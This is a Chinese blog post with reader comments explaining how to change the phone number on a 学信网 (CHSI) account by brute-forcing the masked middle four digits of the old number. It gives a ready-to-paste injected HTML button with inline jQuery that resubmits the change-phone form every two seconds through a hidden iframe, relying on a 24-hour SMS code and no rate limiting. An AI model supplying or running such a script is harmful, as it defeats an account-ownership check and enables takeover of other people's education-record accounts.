学信网手机号忘记了,怎么办?

学信网通过加密方式显示手机号,隐藏了原来手机号的中间4位,修改手机号的时候需要提供原来手机号,并且需要新手机号接收一个验证码,幸运的是这个验证码是24小时内有效,所以可以使用暴力破解的方式,每2秒钟尝试一个电话号码,最多会尝试10000次,也就是说最长时间需要耗时20000秒(大约5个半小时),不过一般不会那么点背,尝试到9999的时候才修改成功。当然这个不可能人工去完成破解,需要写代码。

1. 通过firefox或者chrome打开手机号编辑页面,首先随便输入一个原手机号,修改一次,主要是为了拿到验证码

2. 打开控制台,定位至“确定”按钮

3. 右键这个<input>标签,编辑html代码,在这个<input>标签后面添加下面代码:

<input type="button" value="start" onclick="(function (btn, form, input, start, iframeName, speed) {if (!form.attr('target')) {$('<iframe></iframe>').attr('name', iframeName).insertBefore(form.attr('target', iframeName));}if (window.jsunw == null) {input.val(start);}if (window.jsunw) {clearInterval(window.jsunw);window.jsunw = 0;btn.val('go on').attr('title', 'start');} else {window.jsunw = setInterval(function () {if (parseInt(input.val().replace(/(\d{3})\d{4}(\d{4})/g, '$10000$2')) != start) {input.val(start);}var v = parseInt(input.val());v = v > (start + 99990000) ? start : v + 10000;input.val(v);}, speed);btn.val('working...').attr('title', 'pause');}})($(this), $(this).closest('form'), $(this).closest('tbody').find('[name=oldMobilePhone]'), parseInt($(this).closest('#setPhone').find('>strong').text().replace(/\*/g, '0')), 'setPhoneTarget', 2000);">
QQ截图20180621161734.png


4. 在页面中单击新添加的这个按钮后,查看“原手机号”对应的输入框,里面的手机号应该每隔两秒自动改变一次,这就说明破解脚本正在执行。

5. 保持这个页面不要动,等待一段时间,另外打开一个页面查看手机号是否已经修改,如果修改成功,那就恭喜你了,这时候就可以关闭这个脚本页面了。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.jsunw.com/?post=36

相关推荐

评论

  1. 访客
    2019-08-08 13:47
    添加加了但不出来start按扭
  1. 乔一一
    2019-06-13 13:01
    先谢谢,在测试中
    1. @乔一一:不客气,有问题可以找我

你肿么看?

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。